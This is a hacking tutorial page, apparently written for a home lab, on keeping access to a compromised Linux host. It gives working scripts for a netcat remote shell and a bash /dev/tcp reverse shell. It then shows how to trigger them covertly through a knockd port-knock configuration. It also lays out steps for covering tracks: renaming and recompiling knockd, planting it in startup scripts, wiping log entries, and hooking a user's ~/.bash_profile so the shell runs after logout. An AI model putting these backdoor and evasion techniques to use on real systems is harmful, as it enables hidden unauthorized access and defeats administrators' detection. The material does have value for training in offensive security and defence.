My-Tiny.Net :: Breaking Bad
Remote / Reverse (Bind) Shells and knockd
The NullByte page (see Other Resources::Hacking Goals on the menu) lists the five goals of hacking as
For the Red-Team, combining a remote or reverse shell with knockd is a fine method for Maintaining Access and Covering Tracks, once Gaining (root) Access been taken care of. Port-knocking is a method where a server can sniff one of its interfaces for a special "knock" sequence of port-hits. When detected, knockd will run a specified event bound to that port knock sequence. These port-hits need not be on open ports, since it uses libpcap to sniff the raw interface traffic. The knock client packaged with knockd is unsophisticated, so use hping for more fun. Check the man page and /etc/knockd.conf for some benign examples.
- Reconnaissance
- Scanning
- Gaining Access
- Maintaining Access
- Covering Tracks
The Netcat page under Utilities on the TinyNet menu has all of the details about "round tripping" messges using named pipes, and the Multitail page under Utilities on the TinyNet menu shows how to use this technique to monitor a logfile on another system. Here we apply this technique to emulate the -e GAPING_SECURITY_HOLE compile option from "classic" netcat so we can execute any command on a remote server. You also may want to review the Redirection page under Standard I/O on the TinyNet menu to refresh your memory on file descriptors.
Technically, to hackers this is a Remote Shell running on the target host. The alternative is a Reverse Shell (also called a "bind" shell) sent by the target to the attacker. This is also easy with netcat, but most systems will not have netcat available.
Remote Shell
Let's start with a remote shell using netcat and named pipes. It would be easy enough to take the /usr/local/sbin/loglisner script from the Multitail page and modify it to run a shell rather than the showlog script, but using a permanent named pipe and a persistent listener does not help with Covering Tracks.For covert purposes we want a one-time listener that cleans up the fifo, so we
- create the fifo with a name that starts with a .
so it is hidden from normal directory listings - you have to use
ls -a
to see it. The $$ in the fifo name is the current process id. - trap the usual exit signals and remove the pipe before exiting the script
- reorder the command a bit to get both stdin and stderr, and use the -i switch for bash to get a command prompt
- use just -l rather than -lkv for silent operation
#!/bin/bash PIPE="/tmp/.P_$$" trap "rm $PIPE; exit" EXIT SIGTERM SIGHUP mkfifo $PIPE cat $PIPE |bash -i 2>&1 |bsdnc -l 23433 >$PIPERun the script on the victim with an extra & on the end to send it to the background:
/usr/local/bin/rmosh &
and on the attack side run
nc victim.IP 23433
Now enter some commands on the attack side: start with
ps -ax
and ls -al /tmp
Type
exit
to kill the processes and clean up the fifo on the other end.
That's all good if we don't mind having a footprint of netcat in the filesystem and three transient processes on the target. A reverse shell using bash sockets leaves a very small footprint on the target system because it only uses the default shell.
Bash Sockets
The bash built-in exec command is generally used to replace the one process with another, and apply any redirects which are specified to the bash process itself. That may sound a bit tricky, but it is very useful in practice.The general syntax for using the bash tcp/udp client functionality is:
exec file-descriptor<>/dev/protocol/host/port
exec file-descriptor<> opens the socket for both reading and writing /dev/protocol is /dev/tcp or /dev/udp /host is an ip address or domain name /port is the port number or name from /etc/services on the hostThe /dev/tcp and /dev/udp files are not real devices - they are keywords interpreted by the Bash shell (the kernel never sees it.) Socket redirects must be enabled at compile time in Bash; most Linux distros have it but Debian disabled it in the past.
WARNING: Excessive experimentation with bash sockets can confuse the VirtualBox network drivers and cause a BSoD (Blue Screen of Death) on otherwise stable systems. Be Prepared: save and close everything important before you start.
Reverse or "bind" Shell
The alternative to a remote shell is a Reverse Shell sent by the target to the attacker. This is also called a bind shell because the process involves "binding" the shell to the file descriptor for a port.One crazy thing about netcat is that a "listener" is also a "sender". For a remote shell we put the listener on the victim; for a reverse shell we start a simple listener on the local attack host with
bsdnc -lkv 23433
and
pipe an interactive shell to it from the remote victim host.
The script that needs to be run on the victim is simple, thanks to this classic "one-liner" from labs.neohapsis.com
(compare this to the way a tty is created in /var/net-r/autologin.sh)
Let's call it /usr/local/bin/revsh
#!/bin/bash # echo "My PID is $$" # for testing exec bash -i 0</dev/tcp/attack.IP/23433 1>&0 2>&0Technically, this does "round tripping" in the same fashion as the netcat remote shell example above, but it uses stdin directly instead of a named pipe. So, commands you type in the VT where you started the netcat listener are executed on the target and the output gets sent back.
Just type
exit
at the command prompt to close the socket.
If you uncomment the test line
it is easy to check ps -ax
on the victim and see that the name associated
with the pid of the shell script has been replaced with bash -i, which looks
quite similar to a normal login shell - and that is a small footprint!
There are more reverse shell examples, along with php, python, java etc. at http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet http://bernardodamele.blogspot.my/2011/09/reverse-shells-one-liners.html and of course (check out the all-time favourites, or search exec) http://www.commandlinefu.com/commands/browse/sort-by-votes
Starting the script on the victim with knockd
The missing piece here is how to covertly start the remote / reverse shell script on the victim without leaving a lot more tracks. One simple way to do this is to get knockd listening on the victim, configured with a "knock sequence" that will trigger our script.For "proof of concept", all we need to do is add the name of our shell script to the sample /etc/knockd.conf on the victim host, and start it up. Both of the examples here only need a knock sequence to start the script in the config file. You can pick any ports (open or not) and mix up tcp/udp, but doing it like ths requires a single hping command to trigger the script:
[options] logfile = /var/log/knockd.log [remoteSH] sequence = 1080:udp,1080:udp,1080:udp seq_timeout = 5 command = /usr/local/bin/rmosh [reverseSH] sequence = 1080:tcp,1080:tcp,1080:tcp tcpflags = syn,rst seq_timeout = 5 command = /usr/local/bin/revsh [openSSH] ... current example config ...For every potential victim host except the Gateway, we just set the execute bits on /etc/rc.d/rc.knockd. If the gateway is going to be our victim, we need to add the interface for the attacker's subnet to the start command: in the examples here the Mailhost will be the attacker, so on the gateway we change the startup command in /etc/rc.knockd to
CMDLINE="/usr/sbin/knockd -d -i eth3"When knockd is running on the victim, on the attack host we open the other end of the connection with netcat and use hping to send the knock sequence. The order of these two steps is different for the remote and reverse shell.
Remote shell: (MailHost is the attacker, Gateway is the victim)
- Run
hping -c 3 -p 1080 --udp 192.168.76.101
(ICMP port unreachable message is irrelevant) - Wait 20-30 seconds - knockd is a bit slow, be patient
- Run
nc 192.168.76.101 23433
If all goes well, we get the victim host prompt here (ignore the error message about "terminal process group").
exit
to terminate the remote shell
(it shows up twice), and exit
again to close netcat and get
the local prompt back.
Reverse shell: This requires two virtual terminals (MailHost is the attacker, Gateway is the victim)
- vt-1: Run
bsdnc -lkv 23433
- vt-2: Run
hping -c 3 -p 1080 -SR 192.168.76.101
- vt-1: Wait 20-30 seconds - knockd is a bit slow, be patient
If all goes well, we get the victim host prompt here (ignore the error message about "terminal process group").
exit
to terminate the remote shell
(it shows up twice), and [Ctrl] c
to close netcat and get the
local prompt back.
Three commands to check while the remote or reverse shell is running:
- cat /var/log/knockd.log
- ps -ax (to check your memory footprint)
- ls -al /tmp
A full scenario for Covering Tracks
Option 1: knockdOnce the Red-Team has gained root access (a big challenge not covered here) they can use a remote/reverse shell for Maintaining Access as long as they take steps to hide their activities.
Thinking ahead, they grabbed the knockd source code and changed the name of the default configuration file from /etc/knockd.conf to something more innocuous that starts with a . and a default path less obvious than /etc like /var/.pmond.lst. After checking and changing every other instance of "knockd" to "pmond", they recompiled the code. Now that they have root access, they need to:
- Upload the program and the shell script that knockd will start to
a place where it might belong like /usr/sbin, and upload the
configuration file to its default location so it does not appear as an
extra parameter to the program in the process list
- Find a likely script in /etc/rc.d and add /usr/sbin/pmond
(for example): rc.inet2 and /rc.local are obvious cantidates,
but obvious is not necessarily best ...
- Find a way to restore the timestamp on the file they changed in
/etc/rc.d (another one not covered here ...)
- Find and eliminate traces of their activity from the logfiles, for example /var/log/secure
Option 2: User Shell
If they cannot get root access they cannot use knockd, but they can still park the reverse/remote shell script someplace and change the user's ~/.bash_profile (the personal initialization file, executed for login shells) to start it.
There are a couple of ways to keep it running after the user logs out. The thing to know is that in the absence of any traps, an interactive Bash shell ignores SIGTERM and SIGQUIT. SIGINT (Ctrl c) is caught and handled, and bash exits by default upon receipt of a SIGHUP. Before exiting, an interactive shell resends the SIGHUP to all jobs, running or stopped.
The options in this case are (a) unset the huponexit shell option with the builtin shopt command, or (b) trap the signal in our script.
If huponexit is set (on), Bash will send SIGHUP to all jobs when an interactive login shell exits (with either
exit
or
Ctrl d).
This will apply to all of the processes started bythe user's shell, so it may be noticable.shopt |grep huponexit
will show the current settings
shopt -s huponexit
sets the option (on)
shopt -u huponexit
unsets the option (off)
An alternative is to trap the signal in the script with no operation. For the named pipe method, just adding this after the PIPE= line in the script works fine
trap '' SIGHUP SIGINTfor the process replacement method, they could change the call to bash to be
exec bash --rcfile <(echo "trap '' SIGHUP") -i 0< ...etc....but this changes the ps -ax footprint from bash -i to something like bash --rcfile /dev/fd/63 -i.
However, wrapping the whole thing in parentheses and adding the trap at the beginning solves the problem neatly
(trap '' SIGHUP; exec bash -i 0< ...etc....)
The Red-Team still needs to figure out what should happen when the compromised user logs in while the remote shell is running - Will they see an error message? Will multiple processes be started using the same port and interfere with each other?
Finally, what happens if we "turn it upside down" and execute our command on shell logout?
We can add this to the user's ~/.bash_profile
pkill -f 23433 trap "/usr/local/bin/revsh" EXIT SIGTERM SIGHUPso our shell only runs when the user is *not* logged in ...